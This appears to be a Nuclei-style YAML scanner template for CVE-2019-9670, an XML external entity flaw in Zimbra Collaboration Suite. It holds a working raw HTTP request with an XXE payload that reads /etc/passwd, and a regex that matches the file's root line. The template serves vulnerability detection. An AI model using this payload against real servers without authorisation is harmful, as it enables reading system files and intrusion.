63 lines
2.5 KiB
YAML
63 lines
2.5 KiB
YAML
id: CVE-2019-9670
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info:
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name: Synacor Zimbra Collaboration <8.7.11p10 - XML External Entity Injection
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author: ree4pwn
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severity: critical
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description: Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML external entity injection (XXE) vulnerability via the mailboxd component.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, leading to unauthorized access to sensitive information.
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remediation: |
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Upgrade to the latest version of Synacor Zimbra Collaboration (8.7.11p10 or higher) to mitigate this vulnerability.
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reference:
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- https://www.exploit-db.com/exploits/46693/
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- https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
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- https://bugzilla.zimbra.com/show_bug.cgi?id=109129
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- http://www.rapid7.com/db/modules/exploit/linux/http/zimbra_xxe_rce
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- http://packetstormsecurity.com/files/152487/Zimbra-Collaboration-Autodiscover-Servlet-XXE-ProxyServlet-SSRF.html
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- https://isc.sans.edu/forums/diary/CVE20199670+Zimbra+Collaboration+Suite+XXE+vulnerability/27570/
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- https://nvd.nist.gov/vuln/detail/CVE-2019-9670
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2019-9670
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cwe-id: CWE-611
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epss-score: 0.97484
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epss-percentile: 0.99968
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cpe: cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: synacor
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product: zimbra_collaboration_suite
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tags: cve,cve2019,zimbra,xxe,kev,edb,packetstorm,synacor
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http:
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- raw:
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- |
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POST /Autodiscover/Autodiscover.xml HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/xml
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<!DOCTYPE xxe [
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<!ELEMENT name ANY >
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<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
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<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
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<Request>
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<EMailAddress>aaaaa</EMailAddress>
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<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
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</Request>
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</Autodiscover>
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matchers-condition: and
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matchers:
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- type: regex
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part: body
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regex:
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- 'root:.*:0:0:'
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- "Problem accessing"
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condition: and
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- type: status
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status:
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- 503
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# digest: 4a0a0047304502207a8b5e25fb627f2382a2f8ba5e5a758cd0c376f92e022fabcc6a9feeddab9fa70221009576548c0a63c690c454b969379f5bd404a7d6c1706918fe8b07e0c8bb1489f6:922c64590222798bb761d5b6d8e72950 |